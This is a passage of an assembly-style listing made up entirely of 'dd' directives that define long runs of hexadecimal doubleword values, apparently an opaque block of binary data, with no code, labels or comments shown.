		dd 0E0C0AC60h, 1951474h, 34FBECCFh, 8AE361E2h, 0E083FD70h
		dd 753387BCh, 15603FAAh, 18AC26h, 8892BA32h, 0DAB1EC9Dh
		dd 2305FF00h, 0F0B47E52h, 9A36090Ah, 34008CF1h,	3CBA44D5h
		dd 34C83907h, 0DA10856Bh, 4650D96h, 0E2A51AE3h,	0DD38C21Dh
		dd 1FE59CA1h, 0C2C2DA3Ah, 13B92D60h, 88502803h,	8080B46Ah
		dd 0F102D19h, 1F2ABF35h, 875E1D27h, 94B4C06Fh, 2D008C3Eh
		dd 9FF38FB1h, 788854h, 62B64136h, 706DB43Ch, 11FA7D34h
		dd 10C047Eh, 4E10969Bh,	51AA0200h, 2A5E9DE0h, 0F6A7717Ah
		dd 3A360070h, 0BB531501h, 0DF32936Bh, 1052296Ch, 1189C3C9h
		dd 0F844B908h, 85108456h, 0DD212B76h, 91FD7F08h, 37C300AAh
		dd 5B3343FCh, 1567005Fh, 3A46B5D5h, 5C00A39Fh, 0ABB43071h
		dd 5FFF1Ch, 8F9DF1F6h, 0AAC63604h, 3578B300h, 33225828h
		dd 0A8F000F7h, 0F9165A39h, 8100E1B1h, 0D0F15542h, 7A71AAB8h
		dd 0D4B00FEh, 1EC8D6C3h, 3C00F589h, 10A472D1h, 0E7A2FFh
		dd 95132803h, 0F4C7FAF2h, 691C7300h, 0CBD24DC2h, 28120024h
		dd 0E4292B64h, 4F44535h, 2A8AE700h, 22E25260h, 0F39100D9h
		dd 94F4BF0Ch, 2F5841A1h, 0C3A9007Fh, 99DDA082h,	8E5B0267h
		dd 0EA39C707h, 0DDFD4A0h, 0EF00F70Ch, 8236CB9Ah, 3E9BCA7h
		dd 2FBAACFh, 0F5D877C3h, 0FC1FB3B5h, 0A80BDA2h,	0E07FBE01h
		dd 0FFE60C19h, 0C6B0D443h, 95EAE100h, 0E7BEAD88h, 0BB410556h
		dd 433AE6h, 0E35DBCBh, 0EE02C0D5h, 5E2644E8h, 1C2CE0A5h
		dd 0F2D61273h, 0D1C00F9h, 967C5B3Fh, 1657200h, 2D93EE07h
		dd 0D4020078h, 2F90D919h, 80FC8674h, 0D1289A00h, 9520F65Eh
		dd 485C0033h, 943BDDC8h, 53000F25h, 60EC03AFh, 18686Eh
		dd 0DD7B39Fh, 0F2E53044h, 0C04CAD03h, 0E8BF58D4h, 0E0E664Ah
		dd 0C88B8EEFh, 98D0D83Bh, 9C7A3594h, 5ECA610Eh,	16405D29h
		dd 0D6C96048h, 0CE130089h, 0FBE755A3h, 0A838FE54h, 0A1F20799h
		dd 60EFF90Ah, 0A65E6964h, 59700F38h, 0AF0E5585h, 801676C4h
		dd 0FDC0AB98h, 2DBEB107h, 0D100CFB9h, 0C56EF0h,	4CDBB521h
		dd 1A19E50Bh, 0CCE94307h, 0B660CB74h, 0F071DEh,	11830C70h
		dd 0CF2AE7FBh, 0B21F7E09h, 888A0029h, 0AE0BC507h, 1C793DF4h
		dd 0ADB41Dh, 0A89957BBh, 53267140h, 80018D5h, 0A7C7399Eh
		dd 48C40356h, 3D20F201h, 3AF5B980h, 0FC73FF3Ch,	3F2BA000h
		dd 146D86F4h, 9FD9017Fh, 19BD05D1h, 502CC1B0h, 0AC8AA3F0h
		dd 34F4C900h, 0E93FC42Dh, 6EC52447h, 8E9A0044h,	7C78ABDFh
		dd 31F59800h, 0FE6B5C76h, 15E3073Ah, 0E3655247h, 26997FBFh
		dd 0D3F2FCC9h, 12587B01h, 0F6B13FC6h, 97A5C8h, 67385165h
		dd 4F0246D4h, 50EA621Eh, 0A94CAAC0h, 2FA1D2h, 1D2B4958h
		dd 7194D0Ah, 8C89C100h,	0B1BEB6EEh, 3A7487h, 0C308736Ch
		dd 5A7FE944h, 3D9DCF01h, 5EAA271Ch, 3BA3CECh, 89D466F9h
		dd 86B0ABAFh, 0E7E0E8AEh, 0CF4DC800h, 7F5780FBh, 0CBF004Bh
		dd 3E7D614Ah, 3B14D85Ch, 1FC0708h, 0E4AFACDFh, 85FC792Ch
		dd 0AEAD0018h, 695D33E9h, 0D7004531h, 0B4984139h, 0E4B796h
		dd 8A42657Fh, 687A8C16h, 471DF400h, 0F22B1F23h,	877E1D85h
		dd 3B9C00ADh, 91A68CA2h, 0B0E75100h, 7FAA30Bh, 867D00FBh
		dd 305BD43h, 0B89146A9h, 57D4680Eh, 60BAD30Fh, 0A851BCF1h
		dd 6AE8FF3Dh, 888600EBh, 41584A7Dh, 0F4E37107h,	0E4003E1Dh
		dd 273145BCh, 3387DF9h,	0A4ABC9DEh, 0D4C0D25Fh,	55006A08h
		dd 59E29517h, 15CF7E5h,	48C898B9h, 434A6DAAh, 80E725CDh
		dd 931D4F07h, 92D4D105h, 74C05733h, 121FE7h, 0FB181037h
		dd 0D85E3619h, 72ADF600h, 5181A0E8h, 0E3CD02D9h, 2F073F4Fh
		dd 0B8799F80h, 52003B7Dh, 8121C2Bh, 93A0A8h, 63864237h
		dd 0E3C4B161h, 74C0B800h, 24E6E1BAh, 109068h, 0ECF428CCh
		dd 0DF471F44h, 80C7963Dh, 8F24F22Dh, 3B5568C0h,	0C500266Ah
		dd 9583D35Dh, 341E899Ah, 3B00DDBEh, 884A9D75h, 0E5B30047h
		dd 0E824C217h, 0F71202CFh, 173BC5h, 8EFBB0h, 94A7C691h
		dd 5AE70508h, 71228B01h, 1C44664Bh, 0E0C77C21h,	0F5C7D2B3h
		dd 1C14C30h, 0E4081BAAh, 40D38081h, 0B5D6F4CCh,	0F5316200h
		dd 5A3E49C3h, 8BBB0028h, 8434441Fh, 0A10BE299h,	31072h
		dd 386FCE49h, 0ACDC0F0Eh, 48604592h, 664F72F3h,	533D3Ch
		dd 201D39ABh, 0F8C3C4B8h
		dd 7A5F46Dh, 0CAFB2811h, 56DE9161h, 131BF45Ch, 9ED02200h
		dd 473BED94h, 0D28104B8h, 80BB4E8Dh, 0FD3424F4h, 82CC6000h
		dd 9BEFA4D0h, 0C407007Bh, 84E8CDF6h, 0B8137C6Ah, 0C900B9CEh
		dd 3DC1CC54h, 5E88019Eh, 0F934AB5Bh, 0FCD8603Ch, 0F878A700h
		dd 0EAA1DDD5h, 6622C2Bh, 497A80B4h, 0C21C1144h,	0B2B43F50h
		dd 65AB8900h, 0BE25058Fh, 0CF781F70h, 0BF178091h, 9C0C8536h
		dd 0E65B1401h, 6CF7CBA0h, 75184864h, 0AC030724h, 0E72C999Ch
		dd 3A52C277h, 0BE5A30C0h, 0C17CEE0Bh, 0A28C209Dh, 4C1D07AFh
		dd 0AA0F5C0Ch, 978082FFh, 0BC885721h, 7C392460h, 7B3A2D6Bh
		dd 0D1D50EDCh, 74E06F8Eh, 20E3CE1Dh, 0E4CBDE1Eh, 0E1AE9580h
		dd 56385E0h, 3E28A59h, 8FD20061h, 22E79DEAh, 6480109h
		dd 0A14800D9h, 1B153AEh, 37DE143Dh, 0FC676064h,	81F60B72h
		dd 79998E00h, 2A8C1DDBh, 56A3133Ch, 0B74F00CCh,	2B851EB4h
		dd 16F56C00h, 8362BBC8h, 67971D15h, 3732C3F9h, 78F0EF57h
		dd 5E1341D4h, 4C02D8EEh, 405B3A74h, 103A782h, 6BC34C8h
		dd 0E09E287Ch, 0C700D070h, 41243D44h, 19C07Ah, 0FCD93389h
		dd 0B67DAE9h, 4A5E531Eh, 0F4321140h, 0F2A1DC9Bh, 0D0EC17F8h
		dd 0B630098h, 64569A5h,	0DA1B4D0Ch, 8A68B9h, 9AF97689h
		dd 2359F7EDh, 0BD623Ch,	0A5ECF0CBh, 3CC171h, 6A179693h
		dd 0F7D50A8Ch, 300ABE75h, 0D9296CD4h, 35733700h, 0B2364Fh
		dd 5980F8EAh, 21DE9472h, 0C8FC531Eh, 478A7180h,	0E69AB4B2h
		dd 0C87B6055h, 0AFE14579h, 50DC0600h, 0FD319CA7h, 225B00AEh
		dd 0BBC289Fh, 0FE004430h, 54202B1Ch, 18DCF25h, 9B3897E8h
		dd 0EF8B8253h, 29B950E7h, 0E302589Eh, 0A5F27528h, 0C8A08063h
		dd 0F4D4E9FDh, 0F74100B1h, 3E377EEEh, 780C6632h, 296D72F2h
		dd 2DC42CEh, 9A1E22CAh,	1C56E0A4h, 11794Fh, 4673DF51h
		dd 0F14AAD12h, 81AC2600h, 0CA783C45h, 7D9C00AEh, 76F36657h
		dd 0B93E022Eh, 0D79893EBh, 5C07BA12h, 0A2E0459Eh, 5395A8h
		dd 8789EC63h, 290BD9AAh, 0CCFD2528h, 0E6BFD203h, 3C39A2B9h
		dd 0AF015724h, 697D041h, 0D880F2DEh, 7E4A34FFh,	0F2C3DC00h
		dd 0C6084D04h, 5F480071h, 913BB22h, 20001ABh, 1C397238h
		dd 190D8Dh, 0E711C4F4h,	32859780h, 0FCC60700h, 8CA55E9Dh
		dd 145600DAh, 0D5C8AD40h, 3BFCD306h, 0E9873E09h, 17A8E57h
		dd 3797BAFEh, 253020h, 0E412DA2h, 3AC6AD1Eh, 108A0C01h
		dd 0B12C71DBh, 9E2049D5h, 0D17D0093h, 742316CCh, 4A3FA456h
		dd 40F480EAh, 3009C06Ah, 1D7809ECh, 76005F0Bh, 87E1635Bh
		dd 731C8AF0h, 0EB57B3CDh, 18668A0Ch, 7ABC00C9h,	9064CBD9h
		dd 2A1B8F38h, 0F8402006h, 60CC1B1Ah, 69C5111Fh,	0F5385B67h
		dd 5ED9F88h, 0D1C37100h, 9203A2h, 0ACE524B0h, 0E29DF314h
		dd 2387AB00h, 81D9A5D8h, 0E6B30030h, 0F62938F4h, 8031EEAh
		dd 495E5C7Ah, 1356037Ch, 0BD7486A6h, 55F4C5C0h,	0D5B04700h
		dd 30066059h, 0F6430025h, 0F50EBC62h, 52008932h, 0C22FD37Ah
		dd 3BCF75F7h, 6C007BB1h, 0B2F6DFCBh, 5A000C41h,	0BB8258F8h
		dd 0D6C55Bh, 2D8EA9A8h,	4A491C7Bh, 0AD108400h, 43D79469h
		dd 0CE511EA1h, 232E4011h, 0D0837E8h, 4F428502h,	0E0B23D27h
		dd 0B09A1087h, 886300F9h, 0CF4530D2h, 271D8A6Fh, 0C38199B2h
		dd 0DAC07426h, 1ACDB0D3h, 8065007Eh, 8BF806D9h,	3E0C593Ah
		dd 98F470F1h, 2C8D284Ah, 2B75E5h, 6D29EB8Fh, 854837B8h
		dd 8E502E00h, 0BB025CF0h, 93DA0F9Ah, 0AE48BDDh,	0D0BC8736h
		dd 54CD338Ch, 2D91850Eh, 28C6E05Eh, 3B3E5A81h, 9D8018F8h
		dd 7819DB55h, 1300ED46h, 0BD03C7BAh, 27F56A7h, 0D6860F0Eh
		dd 9086AA55h, 490F18BFh, 96929990h, 0E065505h, 826C89C1h
		dd 69AC34h, 43D43B09h, 0FA71E58Dh, 8F7E9B00h, 493E1155h
		dd 0CA200029h, 0E719AAFDh, 960089C2h, 0E64F5E93h, 0C82E57h
		dd 58CBDC97h, 12186CA4h, 0A107D490h, 50681663h,	0BDC73190h
		dd 0F292001Ch, 0C405BAC8h, 8F3A1AD4h, 699800D2h, 0C55C6EAh
		dd 7B3F00A6h, 534B4A9Eh, 5F001710h, 0F424EDDFh,	2FB83Ch
		dd 0F17BD87Ah, 7202D4C5h, 0CAE61B00h, 0FE13AA32h, 40643FB8h
		dd 0CF804502h, 24C86A9Bh, 6300797Ah, 7AD2A89h, 9764DF7h
		dd 11B8C6Eh, 71621083h,	0E76621C0h, 0A13C7707h,	4B20EA0Eh
		dd 9D29E0h, 59A26D92h, 865CE5E8h, 0F41B1F13h, 4482F000h
		dd 0F545C2h, 0E5D885B0h, 4F27F079h, 3B0EA600h, 0CA4BF9D7h
		dd 0B362A26h, 3D7100B4h, 0B81F6AABh, 0B300923Ch, 0EE30F17h
		dd 5D78030h, 21EB2FBFh,	8E2AC789h, 9C9357C0h, 991E8AB4h
		dd 70002C3Fh, 632E00Ah,	0D77A00A8h, 44D55820h, 6A2C7960h
		dd 0F58F90E5h, 9CA880EEh, 0C49963h, 89889D9h, 81A6C270h
		dd 660EEF07h, 2C50879Eh, 0E59C804h, 56C73B3Dh, 0C58CAE64h
		dd 76A7803Ah, 95021158h, 4C358365h, 0DCAC8302h,	7491C08Ch
		dd 4ED90092h, 0BE60D0F9h, 4006810h, 0AE4366A1h,	182C98FBh
		dd 50E688B8h, 0CA00C631h, 0BE858CA8h, 32D404h, 0E2898B40h
		dd 339F280Eh, 0B8BB9200h, 0F649938Ch, 99A400EDh, 0B2C5F0Ch
		dd 0FBE29632h, 369E3418h, 77C31F9h, 0C79AC42Eh,	151CB010h
		dd 877DDED6h, 85F0BCE6h, 0E9007974h, 510AD773h,	3E33C59Eh
		dd 2780A49Fh, 0DCC04F5Fh, 0AC30B5AFh, 0DBD7101Ah, 758010F5h
		dd 95CD0017h, 68257EC2h, 0E697022Eh, 58FC5DC0h,	5EE8CC0h
		dd 564DC300h, 8A221D2Dh, 1239DF12h, 0C443EF08h,	0B05559FEh
		dd 0F9F3098Ch, 58E1B840h, 9BC40136h, 672FE55Ch,	50EC30E9h
		dd 571F2407h, 4200EDBCh, 7BBE049h, 0E2450548h, 861C9095h
		dd 410064AAh, 0FC9DF8BDh, 0D94807h, 6D6C55A4h, 0E9E1E009h
		dd 3FB08F00h, 0C1209938h, 0DEE20061h, 520BF5C7h, 55DD4F6h
		dd 9C660084h, 51E61AB7h, 9F5503FEh, 5AA5BD01h, 0BEE1F2F0h
		dd 31A29413h, 9600F713h, 33B671CEh, 95D0500Fh, 0DD9886h
		dd 8B14AC9h, 0E0CF4B2Eh, 0FE3F9490h, 0DC1A8215h, 6096D965h
		dd 0D8CBC720h, 0C53D11F1h, 780E9900h, 436FA92Dh, 0FC275921h
		dd 0E3F1ED00h, 4F238338h, 3C5DA724h, 0F75858h, 7F6369D2h
		dd 2CA6F31Dh, 3140FB1Dh, 0DBCB5640h, 7ACF2h, 3C749BEAh
		dd 68290527h, 97244700h, 2F19E77Ah, 0F0431328h,	7E2204F6h
		dd 0D300FE93h, 25CA47A3h, 0ED524DDh, 0F5F900A6h, 0B3786F19h
		dd 8DF69F00h, 827FAC37h, 881B1811h, 0D7EE108Fh,	878C5300h
		dd 20D25EF0h, 6B150B23h, 0C802778h, 0CA8AB007h,	84BBB400h
		dd 5D3D3896h, 0A3400D7h, 511A7FB9h, 860052DBh, 83D5F5DFh
		dd 1CBFD66h, 4E7C1043h,	0D44674D3h, 7D758EF8h, 6800CFF8h
		dd 285DD2D7h, 0EC865B4h, 0AFED75E6h, 93F6F340h,	0CC1692A3h
		dd 4E0029ABh, 0E58CC5CDh, 2355009Eh, 8A163384h,	5E002C14h
		dd 3643BC2Fh, 3832531Fh, 4B80B1B3h, 0CF50E75Bh,	850041EAh
		dd 0D3BA2FCBh, 0F63D572Eh, 0ADFAD5h, 0A83C5A1Eh, 7C271CD6h
		dd 4D0CBA00h, 0B1C8313Eh, 0EB70046h, 73166082h,	27006C84h
		dd 0C0F57E8h, 1B81E0h, 32381EF7h, 0F21707F6h, 11002CFAh
		dd 2BAC5FBBh, 623B80h, 57998B86h, 54798776h, 816A9E3Bh
		dd 0E8F393EEh, 82012D2h, 2C26000Ch, 1C0F3E52h, 0C8001EF4h
		dd 0FBA6BC93h, 48C1192Fh, 0C5008C04h, 52057BB7h, 55030F6Fh
		dd 7ECE6383h, 6AFFA870h, 0FCAA70B2h, 407B4C88h,	0D68BC900h
		dd 59B74E9Eh, 643FAEB0h
		dd 0B4AB2AE0h, 575A7107h, 0FED70DF1h, 5F8A7890h, 69D00CBh
		dd 0D03AF5E4h, 54FE138Eh, 0A1670F00h, 24FC9643h, 9F3E0012h
		dd 0EA8C6459h, 2A60E422h, 3011BD11h, 0FFF0B7E9h, 0B80082F0h
		dd 0C4B1A19Ch, 332688Eh, 0F3EF44FBh, 6A805689h,	8A00692Ah
		dd 980D5AC1h, 3C45F787h, 7B3AD184h, 0AECC1306h,	72F8B001h
		dd 84FBEA28h, 0C102CF0Eh, 32881EFh, 0CAC0D286h,	6EA006Eh
		dd 0C48ACC0Fh, 6B1879F2h, 0EFF0B0F1h, 6EE31D68h, 0E0312FAh
		dd 581A5430h, 0BFF83800h, 6E0014CFh, 5D5D0FDh, 74B97009h
		dd 39860F40h, 5A208A58h, 0CCE48476h, 74C8154h, 37010F81h
		dd 0C3E7D012h, 8B6E880Ch, 1BF6F00Dh, 30EC28F8h,	69526AC0h
		dd 83F9CB00h, 107B56C2h, 0D29500BAh, 0EE07B0A5h, 0AC005B3Bh
		dd 0D9634C45h, 4C20C1AEh, 510055C8h, 6C90E778h,	0E90012E2h
		dd 446B09AAh, 0F017A786h, 4E0F0FA0h, 45C0EC5Ch,	272C7493h
		dd 0C9E6D200h, 70795A56h, 0FCF30F5Eh, 9461C6CDh, 0BD55F9C0h
		dd 75F4F898h, 14A9AA6Fh, 0F1248304h, 6B100044h,	0EDB5BBCFh
		dd 4C0B5E8Fh, 80606276h, 246F5FB7h, 0C78C0199h,	4912682Ah
		dd 1A2890B7h, 422D5E84h, 3C437DDh, 5121BA26h, 19FB0816h
		dd 814C194h, 8BBE96Dh, 0A9882EB2h, 7C59104h, 131C3AFEh
		dd 1EA283h, 0DC28A008h,	0C32BA5C0h, 2038CB30h, 424F0h
		dd 0A23D0C3Eh, 0C6967572h, 360E2C00h, 0D8F59FE5h, 0B0900033h
		dd 0FF9BDCAEh, 0AC0F47AAh, 0D2E4F3B2h, 0D7C97100h, 796EBDh
		dd 0A102EFCBh, 0A8785C3Fh, 50000EB0h, 9AC034FCh, 777CDBh
		dd 4E4DA40Fh, 9BA5B2D5h, 34E30E01h, 52418EF0h, 0C370F4h
		dd 2C5BAD6Eh, 1BC60355h, 54982400h, 8811DEA2h, 3A047336h
		dd 0B680A061h, 380EF099h, 21E71DF1h, 0B5C3FCh, 0B2ECCAD8h
		dd 430049AFh, 0B18C6B9Dh, 0B503E2h, 5296E559h, 2ADE6F82h
		dd 47BAB003h, 80D619E0h, 389902h, 0CB8428A9h, 680763B2h
		dd 4FF99E0Eh, 1719B839h, 0E4D901F7h, 8EAC58CFh,	0BB988EBCh
		dd 215D6015h, 3979948Dh, 20489E78h, 7A079300h, 599A3613h
		dd 6147631Dh, 4A5CF280h, 166D6A5Fh, 133303Ah, 0D7DFB0E7h
		dd 0AACDCC89h, 37DC0600h, 20BFBAD2h, 2C38007Dh,	2579682Fh
		dd 3C006083h, 0A0074EDCh, 41B6E4h, 8CC03557h, 6A49F63Eh
		dd 6345C21Dh, 0C87115C0h, 0F2027BFAh, 96E3072Dh, 61AF51CCh
		dd 30C259E7h, 0D00267Eh, 7AA36DE0h, 0FE3480h, 47F6D169h
		dd 5A6E3D72h, 0E3AC700h, 1C8E5DFCh, 59C41E32h, 81B943C9h
		dd 0F0006E31h, 0D37AFBB1h, 0C35E6385h, 9D687108h, 9C6B62C0h
		dd 7B09881Fh, 4775B000h, 0A0CCCF7Fh, 79D635D7h,	89A70006h
		dd 29B3DA27h, 0EA12D170h, 401D3FE1h, 2E4E8741h,	55C0D038h
		dd 3A640FF0h, 0CA47A440h, 172F103Dh, 2701A5BBh,	4442701Eh
		dd 33FC6D71h, 0D8F0007Eh, 0CE2816A6h, 0DE006CB4h, 695BEAB7h
		dd 19B678h, 0F053E60Dh,	43AE9FBh, 0FFE21612h, 0B2E6000h
		dd 9BC505Dh, 0F8631EC8h, 80586284h, 0EB3F5164h,	312F1800h
		dd 0E9A7408Fh, 781600CFh, 0CFB6159h, 0A201499Fh, 32F3FD3Fh
		dd 7FDC1504h, 0F9EB0238h, 44827997h, 2C0E1448h,	5592BE00h
		dd 0D84FA7C2h, 9179D4h,	7195E528h, 161BB70Bh, 9008C100h
		dd 57292752h, 947301F4h, 0EBC8358Ah, 23188097h,	60F1A9D9h
		dd 0DEBF03DAh, 4F0F9D48h, 0C8D683D1h, 1751E24h,	454BB300h
		dd 0CBAAB5B0h, 0F0E461C4h, 0CC767EEDh, 0FF14877Dh, 50A89FDBh
		dd 0BE182930h, 9510697Ch, 6F672822h, 7FBD38CDh,	8760F900h
		dd 493E55B5h, 0FE15F100h, 8C9B9A1Ch, 1B7A005Ch,	8A82C892h
		dd 993D6106h, 0DD6280A8h, 420E0536h, 0D61F002Dh, 5B6F4A9Bh
		dd 0B27BEE85h, 6B8D4001h, 0DA65CB8Ah, 987B8370h, 4DCA0057h
		dd 0B2C0E05Dh, 0D907E13Fh, 4AE83093h, 6D0608A0h, 0E807A99h
		dd 82D84C94h, 0E8FD2A60h, 0A9E48D63h, 1D659CA0h, 0C315B100h
		dd 3B069AD0h, 0F8CB4C83h, 33A69000h, 99CF6934h,	3F313Ah
		dd 0DA6BC235h, 5C309Ch,	0EC2B87A7h, 6EE81745h, 0AD0063F0h
		dd 3343C7CDh, 7720D468h, 22ED00DAh, 496D93B6h, 0A000B5FFh
		dd 646A027Eh, 0A268299h, 92B9AA2Ah, 8C0900DCh, 87492BA0h
		dd 1CA6AB26h, 4DD7FC80h, 265F1760h, 9B4F60Ah, 40012722h
		dd 0CC81A9EAh, 61074B8Ah, 0B05CF010h, 452E73F0h, 4288005Fh
		dd 9A98DE16h, 2500CA6Ch, 0C4F13D6Dh, 0B2E153h, 897B6A61h
		dd 66B3FC24h, 0FD3E7017h, 0BB8D5400h, 0AA366Dh,	0B5498453h
		dd 0B2D12386h, 3B995003h, 0E8A02F19h, 7015D022h, 50F5F6BAh
		dd 25E4C8h, 8778E7AFh, 3C6146CDh, 1D1C5473h, 1182DF24h
		dd 80EA392Ch, 0A54EB4B4h, 29DCFB80h, 0FA581C26h, 0AFD840DAh
		dd 578ABF1Ah, 0D0A2A8C0h, 0EE6948B7h, 2B898C5h,	7D24359Bh
		dd 0D8015340h, 0C0046EE4h, 0A83D4A5Bh, 67F6187Eh, 23AFFF2h
		dd 50138073h, 0A9D6F6CEh, 0E65B120Bh, 0B85000FDh, 5546810Ah
		dd 4AC9150h, 0A8E45900h, 1F4D98CBh, 238B008Eh, 5BA29932h
		dd 75F452B9h, 0DA5FDD00h, 0F26E891Dh, 0BB4700DBh, 245527D3h
		dd 4F0031C9h, 871BAE0Fh, 668EF9h, 5D16E9FEh, 0C5F571B7h
		dd 0CDB83901h, 3831BF2Dh, 2661F0D3h, 0D17A07C2h, 50797C8Fh
		dd 50609A9Ch, 0DC1EBD00h, 343A8A22h, 0A0C8500Fh, 74B40004h
		dd 7A2AB613h, 2200F3A5h, 2DB2B9DEh, 500110E1h, 0BFC45Ah
		dd 0F64792D0h, 1AC17CE3h, 0D284E200h, 79951C57h, 8F113D3Ch
		dd 0FFD7D500h, 0B30CB5FEh, 78681E00h, 829D6B96h, 79944857h
		dd 0F1F68700h, 2F99CE5Dh, 79625905h, 0F481FF80h, 0FCD31F3h
		dd 30C9CBE0h, 0D186BC3Fh, 0D203DEBDh, 1F9DB087h, 8467A8C8h
		dd 0DA400C6h, 47737FEBh, 1A00A712h, 82B6D08Fh, 40E6432h
		dd 142BD1F2h, 0DB6C82CFh, 5745005Dh, 726AD5Bh, 7F1E434Bh
		dd 0FE478016h, 3E002D52h, 0FC41F519h, 93CB97h, 381E6061h
		dd 4286833Dh, 0EE40E400h, 9968DF80h, 272F005Dh,	54B1FE05h
		dd 42002473h, 7893C5FBh, 96BCD4h, 9BE7606Ah, 3329F4A5h
		dd 0CAA2011Dh, 0D8654B00h, 606D66h, 4D3084E4h, 71860C79h
		dd 0C41EDF00h, 0CC5A3A6Fh, 4D5FA89h, 0E83E2046h, 39E4C17Fh
		dd 707AF16Ah, 0EC034BF3h, 0D05EF409h, 842E829h,	0F7AB00B1h
		dd 49B7EF45h, 7A00ECE5h, 338BAE0Dh, 0C08CF071h,	0DA7F2E71h
		dd 577F082Ch, 465A6800h, 0C58DEC27h, 3C9C059Fh,	1F336F6Ch
		dd 1CFB01DFh, 83EFFC73h, 0A46A9520h, 0C98189ADh, 283F14ECh
		dd 1EA431A5h, 80C57E19h, 0EF6AC3C8h, 740077B5h,	61D21EACh
		dd 1252C4F8h, 0C002E436h, 0F19D89A8h, 8B015C1Ch, 0BA550680h
		dd 0C7AFFh, 2D03F282h, 2369F198h, 0A3307300h, 0B4BC7E6Ah
		dd 8A59009Fh, 254BFEA8h, 277FFDB7h, 0F81A0300h,	4737AA1Ch
		dd 7A040082h, 9CAEC4D4h, 791F59C3h, 9840E9D9h, 0ECB472D3h
		dd 0F2910197h, 0AF44F0C7h, 6B77CC56h, 6E5DBF00h, 634654A0h
		dd 0CB355082h, 1D600DDh, 96A8785Fh, 0AB3C59B1h,	0BBD7803Eh
		dd 0FC8463Dh, 8EC900F0h, 0EB0C0D20h, 0AC7ADD26h, 0F9DAF71Eh
		dd 0E095CF49h, 1446EF44h, 84EE2A3Bh, 426AD312h,	0DB4E4F98h
		dd 89E794C0h, 5384358h,	0F6CD2C70h, 8CC1C680h, 0D3442679h
		dd 0CB7180B4h, 708ACA1h, 2CB4CD02h, 43D2553Dh, 71A800E8h
		dd 11B03709h, 0DA00B24Ch, 6A5AB69Bh, 347463h, 5916AA02h
		dd 3ED6D1E6h, 3C2658h, 0F4F17A4Eh, 1EDA3Bh, 0C95637ACh
		dd 5A9801B5h, 0C6F28006h
		dd 605067h, 8AD6AB7Ah, 3CF4A2B0h, 1C814F00h, 0C144EBB2h
		dd 3484AB9h, 1E8D65ECh,	0A2A693D7h, 8011E038h, 3B5E330h
		dd 2766B39h, 2FFD5D62h,	0C86141DDh, 598029F0h, 400B2E84h
		dd 314C1503h, 0F45900FCh, 0A3AB9EB6h, 1C9619CEh, 0B038C300h
		dd 1C5766Ch, 0F83D860Fh, 0F42EE337h, 4039FA1h, 1391D8FEh
		dd 5A35F85Dh, 0BA8A009Ah, 225665ADh, 0FC00A8C5h, 0F9D63A21h
		dd 0F5636F59h, 58DA7EF8h, 1A00B838h, 481255E1h,	9C004254h
		dd 0CCED7204h, 126E66B2h, 0FFDF9E9h, 63414CF0h,	0E895897Fh
		dd 0F4F7A9E7h, 742479FCh, 180004EDh, 5DBC8F70h,	49AE0047h
		dd 556D774Dh, 94006E59h, 9FEF4A48h, 8D4553h, 2F36936Fh
		dd 0DC84BA2Bh, 359AFB03h, 0C0926838h, 13BE5AA2h, 0E3804Bh
		dd 67F6D8C4h, 472E0D4Dh, 0F280149Fh, 285ADE6Dh,	0CF2B0199h
		dd 0D5714B3h, 0CD686058h, 1901FBECh, 1752F8FFh,	95D8EA7Dh
		dd 0E319C0CAh, 7FAA80DCh, 0ECD86400h, 1DC056E1h, 0ACDB0702h
		dd 0B03B6CFAh, 58C66E3h, 0E515D8E1h, 0DC0A3502h, 0CBB07F06h
		dd 4AAEA0B4h, 3C3EC47h,	0C5CE5AA4h, 80C88357h, 0D00F013h
		dd 15D2A5D6h, 7FEA9807h, 3541014Ah, 955ED892h, 7D5CE8E7h
		dd 0A28F1607h, 0FE303C2Bh, 659735h, 0C9B0F13Eh,	0F81E21DFh
		dd 4100EC96h, 0B9D0F271h, 46FB00B6h, 3DB4CE8Fh,	0B23F6DE1h
		dd 2F007ACDh, 0DFC544EAh, 9E9CD7h, 6C155728h, 0BF239F10h
		dd 38E948h, 0E6A6A1A7h,	415168h, 92823A4Ch, 72F4DE7Ah
		dd 23D12Ch, 0F01AC700h,	18ED68BBh, 0F80B2539h, 6A0E21D3h
		dd 0F2DC642Eh, 0B2486047h, 86591A10h, 9E570146h, 0C944FB6Ch
		dd 0A4B8FC64h, 70D31500h, 4F074CB1h, 1BDF848h, 0A5D9CB35h
		dd 401276B5h, 0F8C6F388h, 0BC4CC0B8h, 83521EFCh, 57CC0500h
		dd 0E7025404h, 0B0FEFAECh, 28D70070h, 264F2755h, 5E00A908h
		dd 0DD24BBEFh, 3457DABh, 39508F57h, 609EE553h, 0C20E1A00h
		dd 0E329D446h, 0D0D90C04h, 8BD87BA8h, 998DAF0Ah, 4300C13Eh
		dd 0ECC7AA4Dh, 59DE0006h, 896B8211h, 0D60E940Eh, 0E0B07E6Ch
		dd 1037FFA9h, 752F8BAh,	86B8E324h, 0FD84025Ch, 491E2C40h
		dd 424EB200h, 0BADFE564h, 16087B55h, 3B5D5C6h, 243AB88h
		dd 0CD3E22C0h, 0D8EF6B07h, 0FD803599h, 751382h,	6E2CE1FCh
		dd 0C2C67A40h, 0F4B23Eh, 37E206D6h, 307E90F9h, 0CF18BF56h
		dd 9530D49Fh, 0A7B129DDh, 626100DFh, 0CAADAB2Bh, 0F0005C74h
		dd 7563E4BDh, 5BB847h, 7DCEC87h, 92787D1Ah, 0EB669809h
		dd 0B3C78079h, 0F1B0128h, 0B00F558Dh, 0FD291140h, 6F0EF9EAh
		dd 4010A9E2h, 3CD1D704h, 0E4D20041h, 0B377821Eh, 0B202DC09h
		dd 5096F2ABh, 0AE2860C5h, 8575004Ch, 32657CD2h,	0B5008DE5h
		dd 60F59311h, 11FA5ABh,	7E33378h, 0D0FE7BD4h, 0DD0064CFh
		dd 269CF817h, 1EF39646h, 807E5A9Bh, 0FEBB348Ch,	70007931h
		dd 29CCA643h, 232C88h, 0F0AA4C24h, 0AED66297h, 429D811Eh
		dd 1C152B00h, 179BA8h, 0A78CA0Fh, 0C5D20DFEh, 1E5E9A3Bh
		dd 2B80538Eh, 0F74355BFh, 256C005Fh, 1A7023B5h,	0BAEEF9BCh
		dd 0CBD4DA00h, 55E2A97Dh, 8F9700D9h, 0CCDC3F5h,	4D00F0E4h
		dd 8E6703E0h, 0CFD77299h, 3EA12920h, 81D8467Ah,	59287D10h
		dd 0B16018E0h, 0DFC107DBh, 80D70773h, 2F4F12F8h, 0B0C68800h
		dd 0E86A0E53h, 955A00BEh, 2CBB5BC3h, 6600F907h,	0DDB1AA33h
		dd 8CFCE0h, 87690281h, 2B3B29F7h, 1F7EE82Ch, 99209B00h
